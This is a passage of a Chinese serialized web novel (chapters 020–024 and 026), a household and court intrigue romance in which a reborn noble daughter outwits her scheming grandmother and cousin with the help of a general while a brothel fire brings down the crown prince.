“如何和那些莺莺燕燕争斗?”
“如何熬得住主母体罚?”
第020章:不过让一门亲事,谁有脸反对?
云嬷嬷心里不得劲,老夫人埋怨她出的馊主意不管用,还白白浪费时间。
按老夫人的想法,她是长辈,在府里她才是最有话语权的那个人,不管是儿子儿媳,还是孙女孙子,一个个都得顺着她敬着她。
一个孝字,压死他们。
她当面提出让亲,府里还敢忤逆她不成?
再说,大房本就死死压制二房,长子更是挡住幺儿的运道,不过让一门亲事,哪个有脸反对?
反对无效。
老夫人俨然忘记姜夜沉前几日的警告,云嬷嬷劝慰:身居高位的年轻人总是气焰嚣张些,他看似维护徐慧珠,实则看重自个儿的脸面。
不然,日后将军府后宅里那么多的美人儿,他维护的过来?
不得累死烦死。
老夫人觉得,她好言好语劝林慧珠让亲,又不是让她**,她最好识相同意,不然......
再说,徐云晗和徐慧珠都是她的亲孙女,她只是厚此薄彼一丁点儿,无伤大雅嘛。
左手倒右手的事儿,好处还是落在尚书府。
等姜夜沉做了尚书府的“女婿”,他也不好意思让“岳丈”继续在悦城受苦吧。
不得不说,老夫人想得美好。
“祖母?”
徐慧珠躺在床上,脸色寡白,瞧着虚弱的厉害。
“祖母想让孙女让亲,吩咐一声便是,孙女怎敢惹祖母生气。”
“可......可云嬷嬷竟说,是祖母命她来折磨我羞辱我,再生生打死我,好给云晗妹妹让位。”
“祖母,孙女......孙女万万不信啊。”
老夫人脸上的表情,高兴不是,愤怒也不成,总之,好似吞下一口含屁味的空气,格外精彩。
早知道徐慧珠这么好说话,她何必听信云嬷嬷谗言。
老货,干饭能吃两碗,迷糊了脑子。
“慧珠,你是老身的亲孙女,老身怎么舍得打骂你。你受了委屈,老身为你做主。”
老夫人难得语气慈爱,她轻轻拍了拍徐慧珠的手背。
若这个孙女乖顺,她不介意疼爱一两分。
“云嬷嬷?”
“说,到底怎么回事?”
老夫人绝不会承认,她是动过除掉徐慧珠的念头,哪家后院不**,死一个贱丫头和死一个奴仆,大差不差。
云嬷嬷心里生出不安,徐慧珠这是要借老夫人的手,惩治她。
不,
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是要她的命啊。
云嬷嬷觉得刚刚被老夫人扇过的脸颊更痛了,“老夫人明鉴,老奴奉您的命来煮雨院教导大小姐规矩,老奴尽职尽责,没有......”
徐慧珠当然不给云嬷嬷表演的机会,“云嬷嬷,你......你明明用戒尺打我和金秋金冬,打的好狠好痛。”
金秋噗通跪在地上,一边抹眼泪一边指证,“云嬷嬷,你哪是来煮雨院教导大小姐规矩,你就是要打死大小姐啊。”
“莫说大小姐是主子,就算大小姐犯错,应该由老夫人或老爷夫人处置,何时轮到云嬷嬷你一介奴婢爬到大小姐的头上撒野?”
“尚书府何时成了云嬷嬷你的天下?”
金秋小心翼翼掀来徐慧珠的长袖,胳膊上一道一道血印,触目惊心。
“云嬷嬷,你还有什么话说。”
金秋挽起裤腿,“云嬷嬷力大无穷,奴婢和金冬本就低贱之身,打死打残不要紧。但云嬷嬷怎敢殴打大小姐?”
金冬适时补充,“云嬷嬷殴打大小姐不算,还命大小姐站在院子里,头顶女戒手拿女德,大声朗读。而云嬷嬷却站在阴凉处,百般羞辱大小姐......”
第021章:将军不会怜香惜玉吗?
云嬷嬷年轻时是府里的粗使奴婢,一身蛮力,外号“粗婆”。
反观徐慧珠主仆三人,娇弱的身板,这要是打起来,哪怕以一对三,定是云嬷嬷单方面碾压。
大小姐和金秋金冬三人伤痕累累,那血痕一看吻合云嬷嬷手里的戒尺。
府里的人的确没亲眼瞧见云嬷嬷殴打大小姐,但大小姐站在烈日下,云嬷嬷羞辱大小姐的话......人证不少。
徐慧珠泪流满面,她捂住胸口,突然吐出一口腥血,好巧不巧喷了老夫人一脸。
老夫人正准备张口说话,腥血直入口腔,她本能当作口水吞咽入腹。
呕。
“啊......”
“孽畜!”
呕死她了。
“大小姐,您怎么吐血了啊,一定是......一定是云嬷嬷伤了您的五脏六腑。呜呜呜......”
“大小姐,您可不能死啊,呜呜呜。”
金秋扑到老夫人的脚下,抓住她的裙摆。
“老夫人,奴婢求您了,求您救救大小姐啊。”
“奴婢给您磕头,不不不,只要老夫人肯救大小姐,容大小姐一条活路,奴婢贱命一条,愿让云嬷嬷当下打死。”
“呜呜呜......大小姐,您好可怜啊。”
“大小姐,您是尚书府的贵女,却被云嬷嬷一个低贱恶奴活生生殴打致死,呜呜呜呜,这世道,还有没有天理?”
“菩萨,大慈大悲的菩萨,求您开开眼,怜悯大小姐一回吧,呜呜呜。”
老夫人只觉得事情似乎脱离她的控制,眼下被贱婢拽着裙摆,喉咙里残留腥血,脸上也黏糊糊的,一时听不清贱婢在胡说些什么。
聒噪。
吵的老夫人心烦意乱。
老夫人抬脚,欲一脚踢开金秋。
她得先去洗干净脸上的脏污,换身干净衣裳......然后再来清算她今日受到的恶心。
至于徐慧珠死不死的,跟她有何干系。
“滚!”
“大小姐病了就去请大夫,求老身何用?滚开!”
老夫人养尊处优,养得一脸富贵横肉,一向目中无人、自以为是,说白了是活在自己构建的世界里,说深了就是又恶又坏又蠢。
老夫人狠厉的模样实在丑陋,怕是能吓得稚儿啼哭。
金秋强忍着内心的惧怕,按照大小姐事先吩咐的步骤,哭求完老夫人,又扑到床榻,一边用帕子擦拭徐慧珠嘴角的腥血,一边嚎啕大哭。
这导致老夫人没踢着金秋,迫于惯性身子不稳向后倒,直接撞上姜夜沉。
“啊......”
老夫人只觉得眼前忽然出现一张绝世俊颜,老脸禁不住通红发烫,谁说少女怀春?
当少女变成老妇人时也会怀春。
嘭。
咔嚓。
姜夜沉一挥手,老夫人飞了出去,两具肥胖的身体撞击在一起。
云嬷嬷只觉得头晕眼花,可怜老夫人腰部骨头断裂,当下痛到昏厥。
“大胆,敢对将军不敬?”
大福先发制人,给老夫人安上不敬的罪名。
“将军?”徐尚书抹了一把额头的冷汗,赶忙行礼,“将军安好!”
“这......这?”
徐尚书和李氏刚走到煮雨院,就听到大福在训斥,他心里一惊,谁敢对姜夜沉不敬?难道是徐慧珠?
还有,姜夜沉是怎么回事,隔三差五登门,到底要做什么?
对这门亲事看重?
可,再怎么看重,徐慧珠嫁过去是做妾,不是当尊贵的嫡妻。
“徐大人还是先看看老夫人为好,不知本将军哪里得罪过老夫人,险些被老夫人伤到......”
姜夜沉撑着一张冷颜,说谎也不变脸色。
“母亲?”徐尚书扶起老夫人,又是咔嚓一声响脆,老夫人的腰部骨头第二次受伤碎裂。
徐尚书是真担忧老夫人,还是趁老夫人病要她半条命?
怕是他自个儿最清楚。
“来人,送老夫人回慈心院,请大夫,不不不,请太医。”
姜夜沉冰冷的声音响起,“徐大人,本将军给你机会解释。”
姜夜沉要一个解释,这个解释自然得家主徐从德给了。
徐从德顺着姜夜沉的话,才注意到床榻上伤得不轻的长女。
他的心情,很复杂。
他怨母亲偏心,震惊于长女的狠厉手段。
他想,如果母亲和长女闹起来,他不管不帮。
他躲个清净,或能得利一二。
不成想,姜夜沉插一脚进来。
于公于私,于理于情,徐从德都不能和姜夜沉交恶。
这时,**月主动站出来,狠狠告云嬷嬷一状,话里话外映射老夫人。
云嬷嬷是老夫人的心腹,若无老夫人授意,她敢殴打、羞辱大小姐?
**月说完,一溜烟跑到李氏身后藏着。
“将军,府里发生的事情,惹将军笑话了,下官定会严惩恶奴......”
“严惩?本将军不喜欢等,大福,你亲自执刑,杖杀云嬷嬷。”姜夜沉看向李氏,“还请夫人集中府上的奴仆,也让他们亲眼
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看看,惹上大小姐的后果。”
徐慧珠闭上眼睛,方能遮掩眼里的郁闷,敢情她花费力气演这一出苦肉计,抵不过姜夜沉简单粗暴直下命令。
杖杀云嬷嬷。
那她忙活半晌,被姜夜沉截胡?
她原计划以苦肉计诱使老夫人处置云嬷嬷,再离间老夫人和徐云晗之间脆弱的亲情。
苗氏**,徐云晗这条小毒蛇还活着,她以为躲在阴暗里捅刀,就不会被人发现?
“回禀将军,大小姐受伤......严重,得用名贵药材仔细将养。”
普神医面色如常,心里正艰难压制狂喜。
大小姐浑身淤伤,这是看得见的外伤。内伤也严重,伤及五脏六腑。充分证明大小姐被人狠狠毒打过,下手之人冲她的命去的。
初摸脉搏虚弱无力,如同将死之人。
可再细探下去,猛地拨开云雾,看到真相。
普神医的好奇心被成功勾起,如果大小姐是医中高手,这个朋友,他交定了。
说谎,普神医也稍微擅长。
这个谎,值得说。
这回,姜夜沉怒了。
他的警告,徐从德敢当耳边风。
“敢问徐大人何意?”
“若不愿与将军府结亲,大可以向本将军如实说明,本将军自会入宫求皇上收回命令。”
“本将军不娶......**。”
“这是误会、是意外。”徐从德干巴巴地解释,一滴汗流入眼睛,灼伤的疼痛。
“本将军担心慧珠的安全,打今日起,本将军暂且住在尚书府,如此打扰徐大人了。”
又说,“普神医,你也留下,负责调理将军府未来女主人的身体。”
“本将军要在婚礼上看到健康的慧珠。”
徐从德:将军府未来女主人?不是妾吗?
徐慧珠:看,这就是妾行妻权的好处。
姜夜沉堂而皇之住进尚书府,明面上的理由,他要亲自照顾伤重的徐慧珠。
这理由极其充分。
云嬷嬷被杖杀。
一身肥肉经打,大福抡起木棍打了一刻钟,云嬷嬷才断气。
老夫人腰椎先是断裂,接着又碎裂,太医看过了,普神医也看了,得出的结论一致:腰部瘫痪,余生离不得床榻。
老夫人醒来无法接受,又哭又嚎,府里的人都被她咒骂了个遍。
她倒是想咒骂姜夜沉,她的腰就是姜夜沉伤的,男人啊,跟盛开的鲜花一样,越美心肠越毒手段越狠。
不能怜香惜玉吗?
她也是玉......
第022章:将军第一晚就爬床
好在这一切都是老夫人的臆想。
若是姜夜沉知晓老夫人瘫在床榻上还敢恶心他,直接喂她一颗哑药了事。
不,在喂哑药前,先一掌劈晕,再左右开打,将老夫人那一张老脸打破相。
对付又坏又恶又蠢的老夫人,讲道理,或示弱或忍着,都无用。
就得用简单粗暴的法子。
徐从德自姜夜沉住进府里后,他就没睡过一夜安稳觉。
他愁啊,愁的头发白了好些根。
徐从德不信姜夜沉对徐慧珠情根深种,那他图什么?
为了那个秘密?
府里的暗涌,徐慧珠懒得关心,她慵懒地躺在贵妃榻上,金秋读话本,金冬捏腿,金夏正汇报府里各位主子的消息。
“金夏擅打探消息,金秋声音灵动,金冬手活好,每人赏半年月银。”
“谢大小姐赏。”
娘亲留给她的“四金”,金春长相娇媚,金秋金冬是一对双生姐妹,金夏会武。
徐慧珠目光扫过三金,“我对你们的要求,只有一个,就是忠心。”
“如果你们对我忠心,我以性命起誓,当你们是亲人,富贵同享,生死相依,不离不弃。”
徐慧珠自丧母后,她在府里过的日子,虽吃喝不愁衣食无缺,但三金侍奉她一同长大,知晓她过得并不好,也不开心。
三金跪下,齐声道,“奴婢对大小姐忠心耿耿、誓死相随,若违背誓言,来世投畜生道。”
主仆默契,谁也不提说金春。
“奴婢已查到是二小姐派信儿去将军府报信,这事夫人知道后,抹干净信儿出府的痕迹,还让二小姐千万不能说出去,不然,夫人可保不住信儿的性命。”
下回听墙角这么美妙的事情,还是她去吧。
徐慧珠心里有一个不能外人道的小癖好,她极喜欢听李氏和**月的墙角,偷偷听了好多回。
原来,李氏和**月私底下相处,竟是那般模样。
徐慧珠不禁想,如果娘亲还活着,她和娘亲日日相处,也应该如李氏和**月。
所以,人,都有多张面孔,只有在信任亲近的人面前,才会肆意暴露自己的真实面容。
说来,李氏这位继夫人倒是个通透的妙人,李氏对她不好不坏,生活上该有的份例并未克扣,四季衣裳也是按时裁剪。
但,李氏对她冷淡中透着疏离,没多少真心。
也是,李氏有亲生女儿要疼要爱。
**月是个黏人精,黏到你身上,就跟糖果子一样。
“大小姐?”
“金夏,你放出消息,就说你跑出府请大夫,正好遇见大福......”反正推到姜夜沉的身上,徐从德就是心有怀疑,也不能向姜夜沉求证。
姜夜沉不是个守规矩的人,第一晚就爬她的床。
在徐慧珠身体做出反应前,姜夜沉先发制人,压在她的身上。
“普神医说,你会医术,还可能是医中高手。”
“你身上的伤,是假的。”
姜夜沉的手指抚上她的脸颊,一寸一寸滑过。
“看来,我娶到一块珍宝。”
“将军这么着急?”徐慧珠身穿薄纱长裙,在清冷的月光下,散发媚惑的香,“还是说,将军不甘心,想要试试自己能不能行情事?”
姜夜沉......落荒而逃。
身后跟着一脸迷茫的大福,都怪他眼力好,竟看见将军脸颊泛红,似乎是害羞了。
“将军可试探出什么?可发现异常?”
“徐慧珠不是寻常女子,脸皮够厚。”姜夜沉如何好意思说,他为探寻徐慧珠的身体,不惜牺牲色相,结果反被撩拨。
他没出息,慌乱之下,就逃走了。
说出去丢人,他丢不起。
欲望是什么?
情动是什么?
心跳是什么?
这些情绪汇集到一处,姜夜沉忽然感受到了。
“啊?”大福懵了,这话怎么接?
“大福,我......我以前可曾见过徐慧珠?”
为何,徐慧珠身上的气息,那么熟悉。
“加上今晚,总共四次。头一回,大小姐夜探将军府,主动求嫁。”
“第二回、第三回,您为大小姐撑腰。今晚是第四回,您夜探大小姐的香闺......”
大福举起四根手指,将军的事,除非将军不愿让他知道。
自豪地说,他大福就是将军的影子。
“只见过四次面,为何我觉得和她相识很久很久,久到一生那么长。”
姜夜沉喃喃自语。
他的目光望向煮雨院,她的身上到底藏着什么样的秘密?
他能探寻
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到吗?
此刻,尚书府的另一处院子,取名慈心院,住在里面的主子,可一点儿不慈。
老夫人白日里睡饱,晚上精力旺盛,可劲儿折腾人。
不,在老夫人的眼里,奴仆就不算作人。
“肖桂兰,你个老货,竟敢打瞌睡。”
云嬷嬷被杖杀后,顶替她的人就是肖桂兰,肖嬷嬷。
“老......老夫人?”肖嬷嬷吓得一个激灵,从小木墩上摔下来,顾不得疼痛,赶忙掀开珍珠帘。
“老夫人您是要喝水?还是要如厕?”
瘫在床榻的老夫人,吃喝拉撒都得人伺候,活动区域仅限于床榻。
这让平日里耀武扬威惯了的老夫人,如何习惯?如何忍耐?
况且,她极爱美。
“老货,去喊云晗来,为老身梳妆。”
老夫人疼爱徐云晗的另一个原因,就是徐云晗手巧,老夫人的发量单薄,可在徐云晗的巧手侍弄下,显得发量惊人。
肖嬷嬷正欲转身,闻到一股尿腥味。
老夫人又尿了。
“老夫人,老奴为您擦洗身子,再换一身干净衣裳。”
啪啪。
“老货,敢笑老身?”
肖嬷嬷不是头一回挨耳光,她熟练跪在地上,一边磕头一边解释,“老奴不敢老奴不敢。”
“谅你也不敢。”
老夫人看谁都不顺眼,只觉得一团烈火在心里燃烧,她似乎能闻得见皮肉烧焦的臭味。
“老货,你那孙女十三岁了吧,长得如花似玉,可惜啊,投胎贱命。回头等从武在悦城安顿妥当,你们一家就去悦城伺候从武。”
“老夫人?”肖嬷嬷满眼震惊,她的孙女阿琴才十三岁啊,老夫人竟让阿琴侍奉二爷。
二爷是什么样的人?
这些年,二爷的后院,除过二夫人苗氏,旁的姨娘和奴婢,哪个没被二爷殴打过,死的死,残的残,伤的伤。
如今,轮到她的孙女阿琴了吗?
啪啪。
又是两耳光。
“滚!”
老夫人心里恨的要死,先是从武犯事,她又瘫痪......桩桩件件,不就证明长子一人占了她和从武的运道。
待徐云晗进到内室,还能闻到空气里残留的尿腥味,她强忍着恶心,甜甜地叫了一声“祖母”。
第023章:大小姐怎会去迷香楼
“祖母受苦了,孙女恨不能以身替您。”
小小年纪,心计了得。
“祖母,孙女刚刚还梦到父亲,父亲在路上吃冷馒头喝冷水,脚都磨破了......呜呜呜。”
“父亲受的苦,祖母受的痛,都加注在我的身上,哪怕让我舍十年寿命,只求换来父亲和祖母安好。”
莫说徐云晗做梦,老夫人也梦到她疼在心尖尖的徐从武吃不饱穿不暖,还被官差欺辱。
一想到徐从武,老夫人的心揪在一起,痛到窒息。
“从武啊。”
“老身可怜的从武啊。”
老夫人嚎啕大哭,徐云晗握着老夫人的手,一边为老夫人擦拭眼泪,一边陪哭。
“祖母,都怪孙女人微言轻,都怪孙女没用,救不了受苦的父亲,惹得祖母伤心,呜呜呜。”
“祖母,孙女想去求一求长姐,下跪磕头,哪怕要孙女的命,孙女也情愿。只求长姐体恤祖母年老,念及父亲是她的长辈,向将军说情,赦免父亲罪行,准父亲回京与祖母您团聚。”
“孙女心疼祖母啊,呜呜呜。”
哭了一会儿的老夫人忽然想到什么,止住了哭,她猛地伸手捏住徐云晗的下巴,仔细端详着。
美人坯子啊,偏生还长得一双桃花眼。
徐从武最是疼爱徐云晗,没少在老夫人面前夸赞徐云晗的绝色容貌,还说以徐云晗的姿容,若不是身份低了些,就是嫁给皇子为妃,也大有可能。
苗氏是个不要脸的娼妇,竟和亲弟苟合,害得幺儿犯罪,万幸生育的徐云晗随了幺儿,模样和心计上乘。
“乖孙女,眼下就有机会,只要你爬上姜夜沉的床,不管他能不能人道,肌肤相亲便是事实。”
“乖,祖母帮你,祖母这里有一种药......”
门外,姜嬷嬷站了一会儿,用袖子擦干眼泪,趁着夜色笼罩,向煮雨院方向走去。
姜夜沉离开后,徐慧珠脱下长裙,对镜欣赏,肌肤洁白似雪,哪还有淤痕。
“姜夜沉也是为了那个秘密而来吗?”
“因为我回来,所以他变了吗?”
徐慧珠忽然觉得眼眶发热,她活了两世,也孤独了两世,还是头一回和他肌肤相亲,竟觉得格外温暖。
他的身体很暖,暖和了她的心。
徐慧珠换上一件艳丽长裙,再对着铜镜化妆,一刻钟后,她已身在京城最大的欢场——迷香楼。
这种纸醉金迷的人间天堂,莫说男人深陷,就是女子来了第一回心里还会惦记第二回。
她“回来”这么久,还熬了好些个通宵撒下诱饵,今晚小鱼咬钩,她得先紧着正事忙。
只是,一想到接下来要做的事,心里止不住犯恶心。
徐慧珠刚上三楼,就听到一阵争吵声。
“阿雪姐姐,柳妈妈明明说楼里的姐妹们轮流伺候水烟雅间的贵人,那贵人出手大方,伺候一晚得赏银五十两,今晚该轮到我了。”
“呵,我万万想不到,阿雪姐姐你竟对我下药,害我身上出红疹。”
“阿雪姐姐,你好恶毒的心思。”
接着,是另一名女子的声音,透着一抹慌张,“裳儿,我......我是在救你啊,听说那名贵人在情事上暴力粗鲁,雨花姐姐被贵人生生折磨而死。”
“柳妈妈更是无情,一张草席卷了雨花姐姐的尸身,扔到乱葬岗。”
“裳儿你看,我也对自己下药,待今晚过去,我就给你解药。”
“裳儿,你......你......”
在迷香楼这样**的地方,还敢心存良知,嫌命长吗?
徐慧珠推门而入,“裳儿姑娘,你在这里呀。”
“柳妈妈让我来寻你,阿雪姑娘说她身子不适,向柳妈妈告假。所以今晚由我和裳儿姑娘一同伺候水烟雅间的贵人。”
裳儿看了一眼打开的窗户,逼迫自己冷静,千万不能露出痕迹。
迷香楼临河而建,从三楼掉落河里,阿雪又不会水,肯定**。
迷香楼时常**,这河底不知埋葬多少亡魂。只要她不承认,又没人看见她行凶,谁能给她定罪。
“你......你是谁?”
“新来的?”
“柳妈妈怎么会派个新雏侍奉贵人。”
裳儿这才发现眼前的女子面容眼生。
“我......我叫夜彤,第一回侍奉贵人,裳儿姑娘,我......我心里害怕。”
徐慧珠随口给自己起了个名字。
“柳妈妈赐我一颗药丸,说是从塞外得来的珍贵药丸,只要服下药丸,身上就散发奇异的媚香,吸引男人像狗一
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样爬上我的身子。”
“裳儿姑娘,我还是觉得害怕。”
“我......我想问一问裳儿姑娘,你当初第一回侍奉贵人时,柳妈妈也赐药丸了吗?这......这药丸真能让贵人对我欲罢不能?”
裳儿挽住徐慧珠的胳膊,不,此刻她在迷香楼,便得称呼新名字——夜彤。
“夜彤妹妹莫怕,姐姐帮你呀。”
天刚明。
大福敲响房门。
“将军,出事了。”
“迷香楼失火,待值班禁卫军赶到时,火势已失控,**不少人。”
“禁卫军在核查死者身份时,竟发现仓国使臣赫连敬王爷。他......他和女妓的身体紧紧融合在一起,难以分开。”
“据调查,火是从赫连敬住的水烟雅间烧起来的,推断的过程是赫连敬和一名叫裳儿的女妓玩得太投入,赫连敬先是马上风,再中风。”
“裳儿受到惊吓,不小心碰到烛台,引发火灾......”
仓国使臣团还有半月才能到达京城,赫连敬身为使团主臣为何会提前出现在京城?还在迷香楼一住就是好多天,只为了寻欢作乐?
赫连敬是仓国王爷,身份尊贵,位高权重,什么样的美人儿没见过,迷香楼里的胭脂俗粉能迷住他?
“大小姐昨夜出府了吗?”姜夜沉打断大福。
自从徐慧珠夜探将军府,主动求嫁,还说了一句莫名其妙的话,“我能治好将军的隐疾,还能助将军得偿所愿,不论是复仇,还是**。”
徐慧珠是第一个在他面前说大话的女子,成功吸引他的好奇。
“啊?大小姐?”大福一拍脑袋,昨夜轮到他监视徐慧珠,的确发现她半夜出府,去的就是迷香楼。
“大小姐在迷香楼待了一刻钟,她......她穿的衣裙有点儿......暴露,还化了浓妆,遮掩原本面容,我......我差点都没认出来。”
大福惊道,“将军,您怀疑大小姐?”
“可,大小姐如何得知赫连敬在迷香楼?又为何要杀赫连敬?”
“不对,问题是大小姐怎么能去迷香楼那种地方......”
大福提出的一连串问题,也正是姜夜沉的迷惑之处。
既然想不通,他就当面求证。
第024章:白莲花仗情行恶
徐慧珠睡的香甜,被姜夜沉打搅清梦。
她有起床气。
还是不小不弱的起床气。
“徐慧珠,你可知道迷香楼失火,烧死很多人。”
“其中不乏朝廷官员。”
徐慧珠径直走向姜夜沉,伸手摸向他的额头,“与我何干?”
“将军时常去迷香楼?有相好的姑娘......烧**?”
姜夜沉还想问一句“你可认得赫连敬?”,大福在一旁催促,“将军,皇上命您即刻入宫,彻查迷香楼失火案。”
姜夜沉深深看了一眼徐慧珠,“徐慧珠,我可以陪你、帮你、配合你。”
“与其一个人孤独前行,何不借助我的力量。女子于这世道本就格外艰难些,徐慧珠,我允你‘仗势欺人’。”
大清早,姜夜沉就对她......说好大一通情话。
发烧了吧。
她知道,她暗地里做的事情,瞒得过徐从德,却瞒不住姜夜沉。
她也没想隐瞒。
她曝光于他面前的样子,就是她真实的一面。
她不愿骗他。
姜夜沉离开后,徐慧珠也睡不着了。
“金夏,你去外面打听一下,迷香楼烧死的贵人里都有谁?”
只杀赫连敬这条小鱼,有点亏,顺手再收拾三五条虾米。
“是,大小姐。”
金夏又说起另一件事,“肖嬷嬷递来消息,四小姐扮作丫鬟出府见了宋家二公子。”
宋家,老夫人的娘家,日渐衰落的伯府,爵位只传到宋鸿这一代。
宋鸿生育两子,大公子宋世融在五岁时被宋鸿的宠妾毒死。
如今嫡出只有宋家二公子——宋世茂,京城小有名气的废物,是迷香楼的常客。
宋世茂一无大志,二无实力,平生愿望是醉死梦生在迷香楼。
徐云晗见一个色鬼做什么?
呵。果然,小毒蛇又要吐信子咬人。
“听说宋世茂得了脏病,已经两个月没去迷香楼快活了。”
“这件事情被宋家捂得极紧,没想到徐云晗不仅知情,还以此要挟宋世茂......”
“金夏,你以将军之名约宋世茂出来,我去会会他。”
徐慧珠大概能猜测到徐云晗要做什么,老夫人要徐云晗爬姜夜沉的床,让亲不成,便用下作手段抢亲。
看来,老夫人为救徐从武,铁了心要攀附将军府。
徐云晗还打算趁机为苗氏报仇,苗耀祖和苗氏的死,她知晓内情,因为她也参与其中。
明明是苗氏和苗耀祖合伙算计徐慧珠,苗耀祖玷污徐慧珠,苗氏趁机泼脏水,要么说他们两情相悦、情难自禁才做下丑事。
要么说徐慧珠爱慕苗耀祖,被拒绝后,给苗耀祖下药,勾引苗耀祖生米做成熟饭。
只要事成,话由苗氏说。
没成想,苗耀祖却死在苗氏的床上。
既然徐云晗花费心思给她准备这么一份大礼,岂有只收礼不还礼的道理。
她一向喜欢礼尚往来,不欠“人情”。
“金秋金冬,拿上一盒春风酒楼的蝴蝶酥,随我去慈心院看望祖母。”
“聊表孝心。”
老夫人瘫在床上,还有精力算计她。
老夫人没把她当作孙女,她又何必上赶着当老夫人的孙女。
祖母不慈,她就不孝。
徐慧珠刚进慈心院,就听到老夫人的咒骂声,一声接一声,这等强有力的气息,一看平日里补品没少用。
“老货,今儿的燕窝味淡了些,说,是不是你偷吃了?”
肖嬷嬷的声音传来,“老夫人您的燕窝,就是给老奴一百个胆子,老奴也不敢偷吃。”
“再说,老奴自知**贱命,配不上吃燕窝这等名贵的补品。”
徐慧珠上前行礼,“祖母安好。”
“这是将军亲自去春风酒楼排队买回来的蝴蝶酥,祖母尝一块?”
肖嬷嬷赶忙收拾摔碎的瓷碗,退出门外。
老夫人瞪向徐慧珠,若眼神能**,徐慧珠该承受千刀万剐之刑。
冤有头债有主,她伤到腰骨,一半责任在于姜夜沉,另一半责任归属徐从德。
可,老夫人在听过徐云晗的分析后,顿觉有理,她在煮雨院受伤,这个主责,自然由徐慧珠来担。
总之,千错万错都是徐慧珠的错。
老夫人突然想到什么,神色阴转晴,还努力扯出一抹慈爱,真真是为难她了。
“慧珠啊,让亲之事?”
“孙女自是听祖母的话,不过......”徐慧珠取出一块蝴蝶酥,送到老夫人的嘴边。
“祖母不是最爱春风酒楼的蝴蝶酥,怎么不吃?担心孙女下毒?祖母且安心,这蝴蝶酥是将军买来孝敬您......”
老夫人现在听不得蝴蝶酥,看不得蝴蝶酥,更吃不得蝴蝶酥。
她一把娇贵的老骨头,
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可受不起姜夜沉的孝顺。
才见过两回面,第一回警告她,第二回推倒她,第三回......是不是要她的老命?
如果不是为了救徐从武,她怎会忍下这份痛,这份辱。
“祖母应该听说,这门亲事原是明月妹妹的,我不过是替嫁。”
“祖母又要我让亲于云晗妹妹,我也愿意,可是祖母,将军会同意吗?”
“不如,祖母去当面求一求将军?”
“呀,瞧我这记性,祖母如今瘫在床上不得动弹,如何去求将军。”
“既然云晗妹妹心悦将军,何不向将军表白心迹,云晗妹妹一直把对将军的爱慕藏在心底,她不说,将军又从何得知......”
徐云晗站在门外,里面的对话,听到全程。
她可不信,徐慧珠会好心。
可,徐慧珠说得对,她若不向将军表白心迹,将军就不会知道。
眼前的机会,即便是陷阱,她也得抓住。
“长姐?”
徐云晗眼圈发红,声音哽咽,“长姐处处为我着想,这份恩情,我铭记于心。”
“是祖母知晓我心悦将军,见我可怜,这才生出求长姐让亲的念头。”
“长姐要怪,就骂我打我,是我的错,谁让情难控......”
“长姐,我也是不得已啊,呜呜呜。”
徐云晗也是豁得出去,噗通跪求,“云晗自知求长姐让亲,实在太过厚颜无耻。求长姐成全我对将军的一片痴心,也成全我这卑微的私心。”
“长姐,我不求您现在原谅我,理解我。”
“待将来有一日,长姐遇情遇爱,便会明白我的苦衷。”
好一朵娇弱美丽的......白莲花。
苦芯黑心的白莲花。
徐慧珠时常见仗势欺人,还是头一回见识“仗情行恶”。
徐云晗口口声声说她心悦姜夜沉,情深到不惜抢亲。
不必姜夜沉在场,徐慧珠都觉得胃里一阵翻涌,犯恶心。
今日这话铁定会传出去,传到姜夜沉的耳朵里,生出一场误会。
一边是无情于他的徐慧珠,另一边是爱他至深的徐云晗。
而且,徐云晗正是花骨朵的年纪,容貌更为娇艳明媚。
徐云晗错了吗?
她唯一的错,就是太爱姜夜沉,爱到不顾自尊和清誉,爱到甘愿放弃女子的矜持和脸面。
姜夜沉会如何选?
第026章:避桃花
太子跪在地上,羞辱与疼痛交织。
他想辩解一句,迷香楼乃欢场,大门敞开做生意,哪条律法规定不能做朝臣的生意?
“儿臣......儿臣不知情呀,父皇,迷香楼乃太子妃私产,儿臣......儿臣也是刚刚知道。”
自古帝王多疑,皇家更是亲情稀薄。
太子何尝不知,他本就不得父皇欢心,哪敢承认他利用迷香楼拉拢朝臣,甚至利用迷香楼赚来的银子豢养死侍私兵。
赫连敬是仓国王爷,太子不能认,还必须把自己摘出来。
“父皇,儿臣......儿臣这就回东宫,重重惩罚太子妃。”
“然后,押着太子妃向父皇您认罪认错。”
“父皇明鉴,当真不管儿臣事啊。”
皇帝看着太子,心里止不住的失望。
国之储君,事发之后,在铁证面前连承认的胆量都没有。
出了事情就推到女人身上,这回是太子妃,下一回是皇后?
再下一回呢?
太子可以有野心、有手段,可以贪心狡诈,绝不能怂。
更不能**。
“太子啊。”
“你还要不要点脸?朕都替你臊得慌。”
皇帝气到冷笑,抓起桌案上的奏章,一下又一下招呼到太子的脸上。
堆成小山的奏章,怕是也没想到,有朝一日它的作用竟用来砸太子。
“太子,你滚回东宫,自省一月。”
“父皇?”太子脸上的墨汁未干又添腥血,他顾不得疼痛,也暂且忘却狼狈。
“父皇,您相信儿臣,儿臣无辜啊。”
皇帝直接下令,“夜沉,命锦衣卫即刻按名单抄家,统统发配悦城。”
“迷香楼为东宫幕僚重殷先生私产,收归锦衣卫,重殷执杖刑,打死。”
“父皇?”太子惊呼。
皇帝挥挥手,护龙卫现身,架起太子迅速离去。
“夜沉,朕对太子失望至极。”
皇帝看向姜夜沉的目光里,闪烁一抹复杂。
这话,如何接?
自然是不能接。
“皇上息怒,保重龙体才是。”
姜夜沉微垂着头,并未看见皇帝眼里的异样情绪。
太子的解释苍白无力,莫说皇帝信或不信,只怕连太子自己都难以信服。
太子和赫连敬暗中往来做什么?
太子这些年利用迷香楼赚的银子又花销在何处?
皇帝下令迷香楼失火案止步于东宫幕僚重殷先生,就是锦衣卫也不能继续往下查。
姜夜沉走出宫门,回头望向冰冷的高墙,他忽然想到徐慧珠,莫名觉得她能给予他真正的答案。
而且,他生出一种怪异的感觉,迷香楼失火案就是徐慧珠的杰作,她针对的目标就是太子。
似乎为了他。
真相远不止他看到的、查到的。
煮雨院里。
徐云晗吃完一碟杏仁饼,喝完一壶茉莉花茶,还赖着不走。
一个人脸皮厚到一定程度,连自己都不觉得无耻。
“回禀大小姐,将军回府了,一回府就和老爷进了书房,连晚膳也摆在书房。”
“云晗妹妹,你看,将军公务繁忙,今晚不是良机,不如耐心等上两三日?听闻云晗妹妹擅绣双面绣,不知可愿意绣一方帕子送予我?”徐慧珠想到接下来要撒的诱饵,心里莫名的激动。
打发走徐云晗,徐慧珠一进内室,就看见姜夜沉爬在她的床榻上,呼呼大睡。
他没有房间,还是少了床?
“大......大小姐,将军他奉皇命查案,两天两夜未眠......”
